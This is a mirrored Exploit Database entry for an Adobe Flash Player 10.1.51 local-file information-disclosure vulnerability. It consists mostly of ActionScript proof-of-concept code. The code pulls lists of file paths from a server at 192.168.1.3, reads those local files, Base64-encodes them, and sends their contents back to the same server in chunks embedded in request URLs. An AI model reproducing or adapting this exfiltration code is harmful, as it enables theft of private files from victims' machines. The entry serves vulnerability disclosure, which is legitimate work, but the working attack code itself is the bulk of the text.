Adobe Flash Player 10.1.51 – Local File Access Information Disclosure

Exploit Database
118 阅读

作者： lis cker

日期： 2010-03-03
类别：
- remote
平台：
- multiple
来源：https://www.exploit-db.com/exploits/33689/

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source: https://www.securityfocus.com/bid/38517/info

Adobe Flash Player is prone to an information-disclosure vulnerability.

Attackers can exploit this issue to obtain sensitive information that may aid in launching further attacks.

package com.lavakumar.imposter{

import com.dynamicflash.util.Base64;

import flash.display.MovieClip;

import flash.display.Stage;

import flash.text.TextField;

import flash.events.Event;

import flash.events.DataEvent;

import flash.events.IOErrorEvent;

import flash.events.ProgressEvent;

import flash.events.SecurityErrorEvent;

import flash.events.HTTPStatusEvent;

import flash.utils.ByteArray;

import flash.net.URLLoader;

import flash.net.URLRequest;

import flash.net.URLLoaderDataFormat;

public class Main extends MovieClip {

var filecontent:String="";

var read:int=0;

var inputcount:int=0;

var filecounter:int=0;

var files:Array;

var statuscode:int=1;

public function Main() {

addEventListener(Event.ENTER_FRAME, check, false, 0, true);

}

public function check(e:Event):void {

if (statuscode==1) {

get();

} else if (statuscode==2) {

load();

} else if (statuscode==3) {

send();

}

public function get():void {

var getter:URLLoader = new URLLoader();

getter.dataFormat=URLLoaderDataFormat.BINARY;

getter.addEventListener(Event.COMPLETE, get_FileLoaded);

getter.addEventListener(IOErrorEvent.IO_ERROR, get_FileIoError);

getter.addEventListener(Event.OPEN, get_FileOpened);

getter.addEventListener(ProgressEvent.PROGRESS, get_FileProgress);

getter.addEventListener(SecurityErrorEvent.SECURITY_ERROR, get_FileSecurityError);

getter.addEventListener(HTTPStatusEvent.HTTP_STATUS, get_FileStatus);

getter.addEventListener(DataEvent.DATA, get_DataEventHandler);

var inputfile:URLRequest=new URLRequest("//192.168.1.3/imp/imposter"+inputcount.toString()+".input");

statuscode=0;

getter.load(inputfile);

}

public function load():void {

var loader:URLLoader = new URLLoader();

loader.dataFormat=URLLoaderDataFormat.BINARY;

loader.addEventListener(Event.COMPLETE, load_FileLoaded);

loader.addEventListener(IOErrorEvent.IO_ERROR, load_FileIoError);

loader.addEventListener(Event.OPEN, load_FileOpened);

loader.addEventListener(ProgressEvent.PROGRESS, load_FileProgress);

loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR, load_FileSecurityError);

loader.addEventListener(HTTPStatusEvent.HTTP_STATUS, load_FileStatus);

loader.addEventListener(DataEvent.DATA, load_DataEventHandler);

if (filecounter<files.length) {

var filename:String=files[filecounter];

filecounter++;

var file:URLRequest=new URLRequest(filename);

statuscode=0;

loader.load(file);

} else {

statuscode=1;

}

public function send():void {

if (read<filecontent.length) {

var temp:String;

var sendurl:String="";

if ((filecontent.length - read) < 200) {

temp=filecontent.substr(read);

var regex:RegExp=/\//g;

temp=temp.replace(regex,"-");

sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;

read=filecontent.length;

} else {

temp=filecontent.substr(read,200);

var regex:RegExp=/\//g;

temp=temp.replace(regex,"-");

sendurl="//192.168.1.3/imp/is_"+filecounter+"_"+read+"_"+filecontent.length+"_"+temp;

read=read+200;

}

var senddata:URLRequest=new URLRequest(sendurl);

var sender:URLLoader = new URLLoader();

sender.dataFormat=URLLoaderDataFormat.BINARY;

sender.addEventListener(Event.COMPLETE, send_FileLoaded);

sender.addEventListener(IOErrorEvent.IO_ERROR, send_FileIoError);

sender.addEventListener(Event.OPEN, send_FileOpened);

sender.addEventListener(ProgressEvent.PROGRESS, send_FileProgress);

sender.addEventListener(SecurityErrorEvent.SECURITY_ERROR, send_FileSecurityError);

sender.addEventListener(HTTPStatusEvent.HTTP_STATUS, send_FileStatus);

sender.addEventListener(DataEvent.DATA, send_DataEventHandler);

sender.load(senddata);

} else {

read=0;

statuscode=2;

}

function load_FileLoaded(event:Event):void {

var loader:URLLoader=event.target as URLLoader;

var data:ByteArray=loader.data as ByteArray;

filecontent=Base64.encodeByteArray(data);

data=null;

statuscode=3;

}

function load_FileOpened(event:Event):void {

var loader:URLLoader=event.target as URLLoader;

}

function load_DataEventHandler(event:Event):void {

}

function load_FileProgress(event:flash.events.ProgressEvent):void {

}

function load_FileSecurityError(event:Event):void {

statuscode=2;

}

function load_FileIoError(event:Event):void {

statuscode=2;

}

function load_FileStatus(event:HTTPStatusEvent):void {

}

function load_FileNotFound(event:IOErrorEvent):void {

statuscode=2;

}

function get_FileLoaded(event:Event):void {

var getter:URLLoader=event.target as URLLoader;

var data:String=event.target.data;

if (data.length>0) {

files=data.split(',');

if (files.length>0) {

statuscode=2;

inputcount++;

} else {

statuscode=1;

}

} else {

statuscode=1;

}

function get_FileOpened(event:Event):void {

}

function get_DataEventHandler(event:Event):void {

}

function get_FileProgress(event:flash.events.ProgressEvent):void {

}

function get_FileSecurityError(event:Event):void {

statuscode=1;

}

function get_FileIoError(event:Event):void {

statuscode=1;

}

function get_FileStatus(event:HTTPStatusEvent):void {

}

function get_FileNotFound(event:IOErrorEvent):void {

statuscode=1;

}

function send_FileLoaded(event:Event):void {

}

function send_FileOpened(event:Event):void {

}

function send_DataEventHandler(event:Event):void {

}

function send_FileProgress(event:flash.events.ProgressEvent):void {

}

function send_FileSecurityError(event:Event):void {

}

function send_FileIoError(event:Event):void {

}

function send_FileStatus(event:HTTPStatusEvent):void {

}

function send_FileNotFound(event:IOErrorEvent):void {

}